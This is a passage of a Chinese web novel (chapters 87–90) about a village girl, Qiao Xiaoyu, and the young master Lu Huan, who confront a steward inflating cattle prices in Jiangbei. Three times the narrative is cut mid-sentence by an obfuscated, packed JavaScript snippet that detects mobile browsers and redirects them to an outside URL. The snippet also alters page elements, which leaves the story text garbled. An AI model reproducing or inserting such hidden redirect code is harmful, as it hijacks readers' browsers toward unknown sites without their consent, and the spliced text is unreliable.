随在车队之后走了一段的乔小遇，额间已然轻渗凝出了些汗液，但这不意味着她行路有多疲惫。“这哪是去买牛，更像是搬家啊……”乔小遇踮脚瞥了眼车队终尾，轻声嘀咕道。 “照他们这般行进速度，不知何时才能到江北……”傅震摇了摇头，补充道：“乔荣兴许已同里正他们汇合了，而咱们这里却与龟虫爬行无异。” “这样子不成的。”乔小遇薄唇轻抿，抬手拭过颈间汗液，旋朝那黄管事所在的马车走去。她关于江北一行预需时日的问辞已足够恭敬，但黄管事的闻言却是皱了皱眉，“你们便只管跟随，哪需问这许多？” “可若是行程耽误了，黄管事也不好交差吧？”乔小遇见黄管事面显沉色，话音又凝了几分，接着道：“虽说我们乔家村有求于陆氏，可与此对应的是，黄管事应当明白，失信于人的虽然是你，可声名受损的却是陆氏。” “且不说今日不曾守时的事，若江北一途陆氏原本给予乔家村的承诺没能兑现……”她尾音稍稍拖长，似柳叶轻摆，银剪微张，而不论这几息的时间再如何拖延，人的神情也会随之显露于面。 黄管事的终究按抑不住了，当下便命车队停了下来。究竟是谁求着谁呢？既是有求于人，怎么反来相胁于人？同行的一名汪管事抬眼瞥过黄管事那仿佛沉降了许多黄泥在上的神色，不禁瑟缩了下头。 “哪里来的黄毛丫头？”黄管事的上下打量了眼乔小遇，隐怒讽道：“你们要是不乐意同行，大可自己去江北，只怕你们摸不着半点门道。” 87. 怠慢主人 乔小遇明晓这人便是个颐指气使的，面上依旧保持着沉静之色，只定定地朝黄管事看去。傅震这时也上前来，轻拍了拍乔小遇的肩膀。在他看来，乔小遇已算是同人说理了，只年纪尚小，这“理”落人耳中总需要一段缓冲的时间。 气氛停凝了半晌，黄管事终究斜瞅了眼过来，随即缓身下车…… 他面色僵沉地招呼随行的车夫与下人过来，在人不解的疑问中，使了人重新装载行李物品，只余四辆马车装上行途必备之物。至于多出来的二十余人，也被他使回去了。 “小丫头，你看这样可以了么？”黄管事的依旧不是一副好脸色，他下巴上的胡须抖动得如那鸡毛掸子一般，有种迫人的架势。 不过人愿意加快行程，这无疑是最好的结果了。 乔小遇与傅震相视了眼，两人皆释心一笑。 之后一路，黄管事对同行的乔家村村民的态度冷淡至极，乔长田试图贴过热脸，却被人的冷屁|股给冰得一个激灵，于是他也淡了心思。 然而近至江北后，那黄管事竟突然转了热脸！ 是夜，月轮初升，乔小遇坐在院柴房侧边的廊下，撑着小脸发怔…… “快吃吧，我从席上给你带出来的。”傅震轻敲了下乔小遇的后背，旋将手头的鸡腿肉朝她的身前轻推了推，面上笑意在乔小遇低眉接过东西后渐渐缓滞下来。 傅震朝折廊尽头的那扇木门轻瞥了眼，接着以一种平淡的语调打开画匣，道：“黄管事开口提说要请我们这些庄稼客吃酒时，你长田叔可差些被惊着了哩……” “你方才不曾入席，不晓得那几个酒量浅的，三杯酒水入腹便已快撑不住了，人心微迷时，黄管事方才步入正题……小遇，咱们最担心的事还是发生了——牛价攀涨得离谱。” 乔小遇闻言连忙停了嘴，细声问：“涨至多少了？可是那黄管事的做事不得力？” “原本我们预计也至多不过十四贯钱，可据黄管事他们这两日奔忙的情形，联络到的几家养畜场的牛价都至少到了十七贯钱，而随着耕牛的品种、公母、年岁不同，价钱也有很大的波动。” 傅震俯身在乔小遇身旁坐下来，见乔小遇眉色紧拧，接着摊手解释道：“依黄管事的说法，他们已经尽力谈价了，可江北一带的耕牛之价受人垄断控制，不是他们所能左右的。” “受人垄断？席间情形怎样？” “气氛有些僵持，只多数人都是醉酒胡乱发疯的情形罢了。”傅震无奈地笑叹了声，摇头说道。 乔小遇忽觉着脑子微懵，眼眶里微凸的眼球则仿佛被刮过的凉风给割裂成了几块，她生疼着，却又忘了闭上眼。 傅震道：“谁能想到牛价会涨到这份儿上呢？我估摸着，你长田叔会亲自走访几家养畜场，或去官府打听下消息……” “但应当不会有什么好的消息”，乔小遇把两条腿伸了往前轻搭在石坎上，任凉风从她的裤管里钻去，接着把话补充完全，“即便长田叔以里正的身份去探问。” 傅震嘴角轻挑，似笑非笑地道：“有些凑巧，另有件算得说趣事的要同你讲……黄管事在席间说不日陆苑有个小主人便会到江北来，总会与咱们买牛的这一行人碰上。那小主人虽说是外出游历，可咱们不能‘怠慢’，更不能以买牛之事烦扰于他。” “莫不是……说陆桓？”乔小遇话音惊疑地偏侧过了头来…… 来人是否是陆桓，其实是一个不确定的答案，可乔小遇心下却期待着，傅震亦是如此。 与此同时，黄管事口中的“怠慢”意味已不能够更明显…… “兴许就是陆桓，只他来了是否能帮得上忙就不好说了。” 似乎因为想到了什么，傅震的心神忽变得放松下来，他玩笑道：“就黄管事的说法，那位小主人不过摆个游历的假把式，确是个不知柴米油盐价钱多少的闲散子弟……所以黄管事认为这位小主人好糊弄得很，且人未必有心力管买耕牛的事。” “这么一说，我似乎更确定这人就是陆桓了。”乔小遇不禁摇头低笑。 傅震深看了她一眼，喃喃道：“走了这一路，这似乎是你第一次提起陆桓的名字……” 他话中的意思已足够明显，乔小遇明白自己那点小心思已被人看破，不禁低埋下了头。 傅震见状，嘴角似笑非笑，只眉心处渐凝……就当他打算同理乔小遇摊明说道下陆桓之事时，院门处传来了一阵急促的扣敲声。 这时候谁会来？ 乔小遇折转过头去，轻哼道：“席上的人许都已经烂醉如泥了……”她摇了摇头，径直站起身来去开门。傅震则随在她身后。 “怎地敲了这半天，也不见人来敲门？这些上不得台面的，何以轻忽至此！”章奴心头蕴了火，几想破门而入了，可又思量着破门的举动过于剑拔弩了些，实在犯不着…… 他回头瞥了眼身后的马车，见陆桓踩了马凳下来，连忙迎了上去，为难地唤道：“小主人，这……” 陆桓淡淡摆手，缓步走至院门前站定，且隐约听得人声嘈杂，眉梢轻轻挑起。但很快，两道轻促的脚步声渐听得清晰了…… “可算有人来了！”章奴也听到了声响，只他的语气如何也称不得“幸好”二字，更多的却是气愤！ 门开了…… “怎么是你？”乔小遇惊愣地站在原地，清亮的眼底渐浮起一抹喜色来，仿佛那层覆遮了银月的灰云渐渐移开。 陆桓一身白衣，映着月色飘逸出尘，而腰际佩剑，虽不见剑光清寒，却十足像个游侠——这便是那位外出游历的小主人么？ 傅震初一眼确觉着惊讶，但很快心下便已了然……“若陆桓不来，那么在朝州城时他便不必问小遇了。”傅震淡笑着，几不可见地摇了摇头。 陆桓的眉眼亦是柔和…… 只一旁的章奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924416|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不曾细看小主人的神情，且见来开门的丫头一脸怔懵着堵在门口，也未见其行礼，不禁斥声道：“狗胆子的奴才！可是耳中灌满了清酒猪油，脚上锁了铁链沉枷，没法挪步来开门？” “呃……”乔小遇因这句恶语得了几分清醒，喉咙口却似含混着什么一般，不知从何说辩。 “他们并非出自陆苑。”陆桓淡淡地瞥了眼章奴，道。 章奴听言微微直起佝偻的身子来，眸中尽是诧异，并连忙给乔小遇两人道歉……人道歉的态度表现得十分诚恳，但他做出这种举动也并不仅仅因为小主人的眼色，更因为他认为自己的言辞于陆氏声名有碍。 面对章奴这般煞有介事的行礼道歉的作派，乔小遇却觉着有些无所适从，脸上笑意终究是干挤出来的。 傅震的情形比起乔小遇当算得好些——他淡淡地对章奴点了点头，面上一派轻松自然的模样——当然，如果排除他脸上那几条略显可怖的疤痕外。 “你竟然这么晚了才赶到此处”，傅震率先启口，且抬头看了眼银亮的夜光后，接着笑道：“虽来得不巧却也来得好。” 陆桓轻笑着走进院中，且听后院中所传来的狂笑醉呓之声，瞳孔微缩了缩…… 章奴皱眉直言道：“他们这是在摆什么酒席？可是天高路远，便能拿了主人家的银钱胡作非为了？” “这倒要解释一下，黄管事是请我们几个同行乡野村夫饮酒呢。人已半醉，若有轻怠之处，请见谅。”傅震这话说得奇怪，当中讽刺语气毫不遮掩。 “这是嘲讽谁？”章奴暗暗迟疑：“或是那位黄管事？或是规下不严的陆氏？或是失言的我？” 章奴已不敢再往下接言什么，只得悄自去打量小主人的神情……然而场间仅有他一人乱自揣测了，陆桓心下却是清楚明白的，他喃声问道：“是因为买牛的事么？” 傅震与乔小遇皆是颔首。 陆桓眸色凝落，又问道：“你们最多可在江北停留多久？” 乔小遇迟疑了下，心想自己不必与陆桓扯及牛兽粮种价格的话题，因为陆桓并不熟悉，于是直言道：“这……自然是越快越好。” “我知晓了。”陆桓若有所思地点了点头，接着说道：“明日一早，你们且让乔里正来见我……” 乔小遇与傅震听得这话，眼底瞬泛起一股浓郁的欣喜之色，而先前的颓败情绪一扫而光，仿佛周遭的凉风忽然停了吹动，人所感受到的皮肤表面的温度也重归于正常般。 章奴却是惊讶，“小主人，您这是打算插手此事么？” “怎么？不可？”陆桓斜睨了章奴一眼，呵笑道：“便实话与你说吧。此行江北，我并非只为游山玩水，原是受了陆族长之托，暗理监督之责。” 章奴的面皮终是彻底凝顿住了，直等陆桓绕过他所站之处往前走去，章奴才反应过来，并连忙躬垂半身，拱手道：“老奴但凭小主人差遣……” 88. 敲山震虎 “奴便知道，对于陆氏派系纷争所致颓势小主人不会放任不管的……”章奴这般想着，眸中渐溢出一种欣慰之色来。 正当他以为陆桓会借题发挥，比如寻了那黄管事的来斥责一番时，陆桓却又摆出了一副不动如山的模样…… 农家客舍里的条件自然比不得陆苑，而在黄管事等几个主事的都已醉得不省人事的情形下，陆桓接受了客舍掌柜的安排，随意住进了院东角的一间偏窄小屋。 在使了店小二提了几桶热水进屋后，章奴便将人支使了下去。他左右环顾一周，随意摸了一把那潮冷的被褥，眉间神色不禁冷了下来，道：“小主人，不妨奴让他们另换一间房吧……” “不必。”陆桓的话音淡淡的，一边脱着靴子，“都这个时辰了，就不要给人多添麻烦了。” 章奴心下暗奇，须知这一路上，陆桓所落脚处都是城镇中最为宽敞堂皇之地，而人百般挑剔，屋内尘灰不沾、熏香常点，总要合他心意的，可这怎么就突然转了性？ “那小主人可要唤那几个黄管事的来问话？”章奴又问。 陆桓有些好笑地瞥了他一眼，道：“烂醉如泥，能问得清楚什么？” “可他们这般猖狂……”章奴的嗓音不受控制地变得尖细了几分，可见陆桓的眉色依旧淡淡的，他很快反应过来自己之后的话并不见得会如何好听，连忙闭口。 陆桓似笑非笑地打量了章奴两眼，直教章奴面上浮现出疑问的神色后，方才缓缓说道：“章奴，我母亲让你陪护我外出这事，似乎给你造成了很大的压力？” “小主人哪里的话，奴万万不敢这般作想……” 章奴连忙摆手否定，却听陆桓口中轻“嗤”了声，道：“可对我造成了压力……倘若我如之前一般挑剔到荒诞的地步，你今日便不会暗藏疑问了。你以为我看不出来么？” 章奴闻言一时汗如雨下，忙道：“小主人自是慧眼如炬。只之后，奴不敢再对小主人心生揣测了，奴便当那个傻的憨的、聋的哑的……” “聋的哑的？你可要记着这话，若再让我觉察你私下给我母亲传信，说些有的没的……陆苑很大，朝州地界外也有一些偏僻的庄子适合养老。”陆桓的话音仿似一道飞针忽然转向，莫名地使章奴产生了一种紧抑感。 章奴惊慌地跪下身来，磕头道：“小主人留情，大娘子这也是关心您啊。” 关心么？这句出自章奴口中的说辞听来实在熟悉，而陆桓似乎早已对这话有了预设，不禁摇了摇头。 陆桓轻揉着太阳穴，接着问道：“章奴，若以江北书院后山深潭作比，你觉着自己的心思深浅如何？” “奴的心思？或许浅得像一条细流，只能托起一片树叶。”章奴有些惭愧地道。 章奴回想起今日白间时与小主人去看过的江北深潭，两道斜塌出去的眉毛确是更塌了，这情状与野兔淋了雨后皮毛紧粘的塌陷感如出一辙。 陆桓又问：“那你觉着我母亲的心思深浅如何？” “奴不敢妄言……” “恐怕是连一条小舟都无法载动的吧。”陆桓轻笑着打断章奴的话，直接作出了结论，唯留得章奴一脸的不知所措。 “你看，这样浅的心思，代族长和族老他们怎么可能看不出来？程家怎么可能看不出来？盛家庄的那出闹剧还不够说明什么问题么……” 陆桓轻轻站起身来，将灯提到木桶边的灯架上，使章奴所跪之处的光影变暗了许多，方才接着道：“母不知子——这也很好，便当我依旧是个纨绔子弟，志在山水罢了。” “可实际上，我不会眼看着陆苑分崩离析的，父亲所受构陷之冤我也会如数讨回来，我只是需要时机……母亲的试探，实无必要，也当就此截止了。”陆桓话音定定地道。 夜中，映在窗纸上的灯色晕黄，而陆桓的心却灼明一片，似碧潭表面所折映出的鳞光细波蔓延至触不到的边缘。 …… 翌日，天光微亮，黄汪两位管事的便被下人唤醒了，且被告知了陆桓昨夜下榻此处的消息…… “小主人既然到了，为何不叫醒你我？难道此事便这般轻松揭过了？”黄管事紧皱着眉，觉着脑仁一阵生疼。 旁边一张席子上睡着的汪管事依旧干扯着呼噜，听了黄管事的疑问却并没有什么特别的回应，于是黄管事不禁提脚往人身上踹了过去，呵声道：“你可睡得够死的，昨夜里也没见你喝多少！你说小主人究竟是什么意思呢？” 汪管事半眯着的眼底迅速划过一抹怒色，但很快便被他遮掩了过去，并作无所谓状，道：“他今早也没叫我们呀……你有什么可担心的？以为他的真使了主人的架势，怒斥你我？他不会这么不自量力吧。” “呵呵……”黄管事的嘴角挑起一抹轻蔑的笑意，道：“你说的也是，就算他不自量力，还当自个儿有以前那般的风光地位，下头的奴仆他能支使谁呢，大家伙总不会十分尽心的。” 下人听得这话，忙将刚拧干的毛巾放入盆中，道：“可是两位管事，小主人今早却让人传了拖罗河那湾子的里正过去问话，前脚方出客舍……” “乔里正？咦，可有说他们出门去干什么？”黄管事听得此言，周身可抖了一个激灵，原还迷糊着的脑子也瞬间清醒了大半。 下人紧垂了头，话音断断续续地道：“这……这奴不知。” “呵，小主人的心思咱们是猜不着了，可那位乔里正巴想着什么你还猜不透么？”汪管事这才慢悠悠地掀开被子，边打着呵欠边道：“定是去询问牛价了，这个不死心的庄稼户！” 黄管事的皱眉道：“可是小主人怎么会想着掺和这事呢？这乔里正同小主人又没有交集……” “这……许人会钻营吧。不过话说回来，咱们有什么可担心的呢，小主人是个最烦俗杂事的，也不懂这些，他就是想插手也没法子的不是。”汪管事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924417|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些不以为意地道。 作为陆彪代族长那一脉的心腹，汪管事是极相信自己的判断的。乔长田在过去半年间与陆苑的往来并不少，汪管事很清楚这人的里正之位和看护陆氏山林之职是怎么来的，是以对乔长田寻巴上陆桓的情形并不觉得有什么可惊讶的。 至于陆桓…… 说句实在话，即便陆桓愿意与自己联手戳解开黄管事与那几个养畜场场主互相勾连抬价的圈套，敲黄管事这“山”，震一震陆苑中那几个贼心不死的“虎”，这耕牛的单价最多只能降一贯罢了。 究本溯源，抬价涉及的是陆苑内部派系的争斗，牛价被垄断却是那位秦王殿下的手笔了…… “谁会想要往里触碰此事呢？”汪管事想及此处，不禁轻轻摇头叹息。他开始寻思着那些他所初步掌握的关于黄管事勾连养畜场场主哄抬牛价、以牟暴利的证据，应该寻一个怎样的契机——交给陆桓。 毕竟连陆彪族长都不确定陆桓会站在哪边。 这厢乔长田对于再次得见陆桓却是十分惊讶的。 同时，在当他得知陆桓的身份与来历后，不禁回想起之前陆高二人帮助村民抵挡流民的事来…… 说些感激的话么？可乔长田道言几句后，话音便不由得转为了涩涩——敢情乔小遇家早就攀上了陆苑，却不曾让陆桓从中走动，帮乔冉安谋个看护山林之职。 至于他同陆彪陆慎父子的关系，陆桓定是心里有数的，却不知乔小遇一家是否知道…… 尽管没有必要心虚，可乔长田却还是忍不住几番拭汗，而对于陆桓的问话，他自也一五一十地答了。 “若陆桓能帮着解决牛家攀涨之事，那是再好不过了。”乔长田心下这般作想。但乔长田对陆桓并不熟悉，是以在这趟出门打听牛价的路上，他都在暗暗打量陆桓。 然而结果……看起来便是个骄矜贵公子罢了，从头至尾，陆桓的话都不超过三句。 “那您跟着我们来是干什么呢？”乔长田不禁暗暗腹诽，可转念一想，陆桓也不曾对他有过任何允诺…… 这无疑教他十分苦闷。在折回客舍的路上，乔长田悄悄拉过傅震的衣袖，忍不住低问道：“傅震，关于耕牛买卖这事……你可知这陆公子是怎么想的？” “陆公子的心思我怎么猜得透？”傅震闻言呵呵一笑，且瞥得乔长田那一副不安的模样，下巴轻朝那与陆桓并行的乔小遇一点，道：“你不如问问小遇？” “遇丫头和陆公子很熟？”乔长田下意识一问。 傅震似笑非笑，只将身体侧靠近乔长田，低声说道：“里正您不必太提着心了，左右这事陆公子不会视而不见的。” “他……真的能帮着解决这事么？”乔长田不安地揉搓着指尖，到底说出了他最关心的问题。因为这一路上，依他所察，陆桓就似一件空有其表的精美瓷器般，而他便将这件瓷器完好无损地送回客舍就算是松了一大口气。 89. 刮骨疗毒 白墙、黑瓦。 白墙、黑瓦。 江北城中的每一个角落都显得十分规整，没有突兀之处，而高大的青灰石墙则将这种规整的景象给圈在了一个紧闭的空间里……若在上空俯瞰，这道石墙倒更像是在隔绝城外的乡村和养畜场。 这里的乡村多是低矮的茅屋，但比起遭受过牛疫饥荒的朝州府境已算得安宁和乐——在从养畜场回来的路上，乔小遇不止一次这样想。至于养畜场，则是另外一种情形了。 陆桓负手走在乔小遇前侧方，步子不紧不慢，只两人这一路上多在沉默着，心中各有思量。 直至走进城墙斜角下的那片阴影地带，陆桓方才缓声启口问乔小遇道：“养畜场中的各种耕牛的价钱你可记得清楚？” 乔小遇颔首，轻叹道：“怎会记不清呢……相比于朝州府在风调雨顺之年的牛价，江北实已离谱。我们这行人，今日虽一直在城外盘桓，但更像是被眼前这高大的城墙给圈禁在了当中一般。” 陆桓凝眉，接着问道：“那你觉着那几个养畜场的场主的言辞当中，有可商量的余地么？” “似乎并没有……”乔小遇默然半瞬，脚步亦不自觉地顿了下来。她仔细回忆着当时的情形，喃喃道：“若说一开始他们的态度并不明确的话，那么在听闻我们出自朝州府通平县后，那几个主事的便……” “便如何？”陆桓轻轻折转过头，黑曜般眸子定定地看向乔小遇…… 乔小遇终究是一时探不清楚陆桓话中之意了，便同她看不清楚陆桓那深邃的眸中究竟掩藏了一种怎样的情绪般……亦或说，她已经猜测到，只是她没有宣之于口的气力，于是嘴巴紧抿成了一条细线，而这条细线并未附着上任何颜色。 她这般反应，陆桓仿佛早有预料，但他顿了话音，只接着踱步向前，白裳上也由此重新覆上了晚霞的橘芒。 乔小遇稍愣了片刻，旋又紧步跟了上去，说道：“这是由你们陆苑牵扯出来的事，陆桓……你……” “我要如何？”陆桓眉梢轻挑，但迎上乔小遇那稍急慌的神情，终是摇了摇头，轻声道：“乔小遇，牛价攀涨的本质缘由并不在陆苑。若以刮骨疗毒作比，黄管事等人不过是表面的那层毒脓，难道仅到这一层你就心满意足了？” 乔小遇一时语涩，凝眉道：“那我们该怎么办？” “明日你随我去一趟江北书院吧。那里有个故人，他可以‘刮骨疗毒’。”陆桓折转过身来，缓缓说道。 “故人？”乔小遇微疑着眨了眼——她确是想知道更多的，因为陆桓的语气听来是那样的不寻常，神色亦是如此。 这人明明背着光，清俊的脸庞被一片朦胧的光色掩住，教人看不清楚，然而属于暮光的伤感却浮蔓了上去。乔小遇看得微微发怔，有那么一瞬间，她几乎觉着陆桓站在远郊的山头，人则彻底地融进了那种沉郁的暮色里。 “那位故人是你家里的长辈么？你确定他有那般手腕，解决牛价攀涨的问题？”乔小遇又轻声问道。 陆桓呵声一笑，摇头说道：“称为故人仅是因为此人同我父亲有些渊源，与陆氏无关，与我就更无关了。前太子太傅，即便因为一些缘故而引咎请辞，归于乡野，可这件事终究才过去半年不到……手腕自是有的，便只看人愿不愿意出手‘刮骨’了。” 陆桓轻轻抬头，目光探向前方，话音里不带丝毫温度地道：“不用提说悲悯之心，或是济世之志，我可不认为任老先生会甘心隐居。” 乔小遇闻言不由得皱眉，问道：“他同你父亲结过仇？不然，你也不会这样评价他。” “结仇？倒算不上。”陆桓心头被刺痛，却只淡淡地摆了摆手，道：“任老先生于我父亲有荐拔之恩，世人皆以为他们同气连枝，然而便在我父亲被人构陷，横遭党争之祸时，任老先生却是作壁上观的。若说为什么，无非有人想要出铲除异己，有人想要渔翁得利罢了。” 这便是陆桓父亲的墓碑碑文中言辞不尽的一部分么？ 乔小遇心头有些唏嘘，喃喃问道：“你是想要‘利用’他的愧疚？还是别的什么？” “愧疚？他兴许存在着这么几丝罢，却无法成为我们倚赖的凭借。”陆桓长舒出了口气，眸中所映暮光沉黯了几分，他接着道：“但这是一次重新回到临安城的机会，想来任老先生不会错失的。” 任连忠确实不会。 遁离朝堂的他，虽被人唤道一声老先生，但他也就五十出头，身子也康健得很。在江北书院教书的日子里，任连忠笔尖所写是隐逸闲适之词，手中所拔是几根蒜苗野菜，这情形既为世人称道，也使宿敌们放松了警惕。 乔小遇从陆桓那里了解到了更多关于任连忠的事情。 如任连忠不喜江湖谒客，在隐入江北书院后，对那些着意交游的游士避而不见，因为任连忠认为他们并非真的甘于清贫寂寞的生活，仅是将诗文作为牟利上位的工具罢了。 再如任连忠为学生讲解经传时，许囿于自己曾经的政|治遭遇，言辞颇多忌讳。他的学生们问过这点，而任连忠却笑应说卷上书本就空泛，不然怎么会有咬文嚼字这种说法…… 左右任连忠“已然”走入一种自诩清俏拔俗之径了。乔小遇一边是听得兴致勃勃，一边却也觉得可笑得发紧，道：“听你说来，这位任老先生都像是个鸡贼的……” “鸡贼？”陆桓闻言，微冷的脸终究是绷持不住了，不禁摇头失笑道：“鸡贼……我最多说他一句趋附形势的，咳……可不知任老先生听了这话，手里的笔杆会不会被他拗断呢。” 乔小遇有些脸红……其实她也是能文绉绉地摆出几句话的，虽谈不上什么微言大义，至少还能“唬人”来着，不过她现如今仅是个农家女罢了——鸡毛、鸡爪子、鸡飞狗跳、踩了鸡屎都说得，鸡贼便不算什么了。 陆桓既不觉得话糙，乔小遇就更不会介意了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924418|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不过话说回来，任老先生回临安的话，你也要借势去临安了么？”乔小遇且瞥得陆桓眸底所泛着的那抹莹亮光色，心境也不自觉地跟着明敞了许多。 “我倒再缓上一缓？或许明年借着秋闱的时机会更好。”陆桓见乔小遇若有所思，淡笑着将话题折回到任连忠身上，“你便不问问任老先生如何借势重回临安？” 乔小遇下意识扯了扯唇角……她是想知道更多关于陆桓的事，包括陆桓隐隐存了针对之心的任连忠也是一样，可陆桓这般一问，便仿佛他圈画出了一条界线，让自己站过去一般。 乔小遇直觉着自己被一种没来由的忐忑感瞬间席卷，而方才那片刻中所陷入的关于陆桓前去临安的沉思也被取代了。她愣愣地看向陆桓，一时不知自己当如何回应。 她本是一个局外人，或者说在此之前是一个局外人，陆桓这般有什么必要？ “从汉中折至江北的途中，我早便得知江北耕牛价格哄抬之事乃是由秦王那小舅子董汉存所谋策的，而我相信任老先生一直在关注此事。” 陆桓语调平缓地继续说道：“如今朝中储君未定，贵人为何摇摆不决其实朝臣们都看得十分清楚，任老先生会重新扶持一个受他牵制的皇子，借势上位，而那个皇子绝不会是秦王。” 乔小遇微懵，便下意识地问了一句，“那会是谁？” 陆桓淡淡一笑，却暂未应了。 且看着头顶的光色由橘转红、转黑，之后黑夜中泛起晕黄的灯光点点，人便当是从空中俯瞰的，而乔小遇自知她仅是一星灯火，缭乱中谁辨得清楚？ 一行人回来得并不算太晚，而黄汪两位管事却是等陆桓屋中油灯点起后才主动来拜见的。当中敷衍可以一见，而黄管事最初的疑问和揣测却消散得快不见形了。 章奴的脸色自好不到哪里去，而当黄汪两人半只脚还没踩离石阶，他尽掀出了一盆洗脚水出去，直将黄汪二人的下半身给泼湿了…… 黄汪二人几要怒斥出声，可瞅得章奴气哼讽笑，却硬是忍了这股气来。他二人心里清楚，他们虽待陆桓敷衍，却是怎么也不敢对主子发作的，而这章奴虽是一个下人，但他的态度或许能折映出一两分小主人的心思？ “小主人表现得极为平淡，也没有表意说要管陆苑买耕牛的事，那他同乔家村的人走动算是怎么一回事？”黄管事瞥了眼自己的裤脚，神情不耐地跺了跺脚道。 汪管事斜睨过来，嘴角翘起一抹不易察觉的弧度，沉声道：“你担心什么，小主人有那能力管么？他倒能怎么管，这牛价又不是他说了算。” “可章奴那厮……” “一个仆从罢了。许是咱们来得迟，这两日里又忙着杂事对小主人照顾不周，人这才……”汪管事话音冷淡，嬉笑着摇头道：“你管他们做什么，左右小主人不过在江北盘桓两日，兴许还没等咱们商定牛价，他便去别处游乐了呢。” 90. 自知之明 “当真？”黄管事神色迟疑了片刻，抬眼去看汪管事，而人终究踏步上前，只留给了他一个后脑勺…… 黄管事心头的疑虑与揣测再次被打消，可汪管事此人却想要再观望两日：陆桓何以“沦落”至这般地步，连他父亲半点遗风都没有承继到呢？若长此以往，陆苑中是没有陆彰那支的立足之地了。 章奴也担心这种形势走向，但他的担心仅是一种借口而已。昨夜里他才被陆桓“警告”过，却还泼水泄愤，这行径陆桓怎会看不出来？ “明日一早，你便自行回朝州府吧。” 章奴端着脸盆进屋后，且听陆桓桑嗓音冷淡，他原本还挂在嘴角的“得志”笑容立马便僵了下来，连忙磕头道：“小主人，奴是依大娘子吩咐随行照顾您的，您这般赶奴离开……” 然这厢歪斜着靠在榻枕上的陆桓却无动于衷。他修长的手指慢悠悠地翻过诗集，直至他似乎看倦了任连忠那些揉了虚情假意在其中的闲适之词，方才皱眉道：“章奴，你跟了我母亲多少年了？” 章奴闻言以为有反转之机，面露欣喜地应道：“回小主人，几近二十年了。” “那可真是情谊深重。”陆桓斜眼看过来，将诗集随意地丢在一边，又问道：“那你随在我身边多久了？” “奴虽是看着小主人长大的，但说起随身侍奉，却也仅是这半月里的事。”章奴无比恭敬地道。 陆桓轻轻颔首，“半月的时间也足够了，足够让你知道，我不是一个愿意给人数次机会去弥补错误的人。若你之前不知道，那此刻你该知道了。” 章奴脸色霎白，只睁瞪着眼看向陆桓，一脸的不可置信——而他这面皮强撑展着，便仿佛真有一根擀面杖一般，将他这脸皮擀得越来越薄，乃至于最终破裂！ 凡事都道有一有二不可有三的不是么？然而陆桓…… 章奴的双肩终不受控制地塌软了下去……是他自以为是了，也是他放肆越界了，章奴眼眶微红，但他还是极力长吸了口气，缓复心绪，然后重重地对陆桓磕了个头，退了下去。 翌日一早。 乔小遇按照约定，与乔荣来到客舍院外等待陆桓。只令两人有些奇怪的是，此间竟有两辆马车候着。 章奴恭敬地站在马车旁，见乔小遇二人的视线投来，略微皱了皱眉，旋又拱手作礼……到底这态度不似初见时那般尖刻了。 “章叔怎么带这么多行李？此番又不是出远门。”乔小遇拱手还礼，且瞥了眼章奴斜挎着的那个鼓胀的包袱，试探性地笑着问道。 章奴呵笑了笑，话中是毫不掩饰的失落，“乔姑娘多想了，此番仅是我带着几个使唤小厮离开，小主人他……不和我们一路。” 正说着，陆桓却从院中走出来了——而他也带了一个足够鼓胀的包袱。 章奴紧忙迎了上去，道：“小主人，奴即将离开江北城，特在此处等您，与您告别……外间世道纷扰，不比陆苑锦绣安平，小主人可要多保重自身呀。” 离别总是让人不舍的，章奴一番话可说得情真意切，仿佛难以完结翻篇。陆桓微凝着眉，淡淡颔首，清俊的面上总算有了一丝情绪反应。 而使章奴决定完结翻篇的，却是陆桓身负行囊，似是要继续远游的架势。 “小主人，您这是？”章奴嘴巴微张，迟疑了片刻道：“您是打算同我们一起回朝州府么？” 陆桓见章奴嘴角漾起喜色，而一旁的乔小遇听得这话脸色微滞的模样，轻声解释道：“我还有事要北上，回陆苑后你这般应我母亲的话便好。” 章奴的神情渐黯了下去，只听陆桓回头唤乔小遇两人上车，他又惊愣住了脸，整个人便维持着拱手送别之礼，直等马车的辘辘声消散了去…… “奇怪，小主人一般都不愿让人与他同乘的……”章奴皱着眉，但想及陆桓竟是说走就走的洒脱模样，而黄汪两位管事并未前来送行，不禁无奈沉叹。 …… 乔小遇也完全没想到陆桓的行程会如此仓促。 轻靠着车壁，乔小遇尝试着问陆桓道：“你之后是打算去哪儿？” “你不是应当直接问说，行程仓促，抑制耕牛买卖之价一事确能促成么？”陆桓缓睁开眼，笑说道。 “我倒是想问这个。”与乔小遇不同，乔荣确是满眼疑问，他接着道：“不过傅震哥今日怎么没有跟来？” 傅震身份不同，如一颗隐棋，总不好得在如任连忠这种人跟前晃眼的。 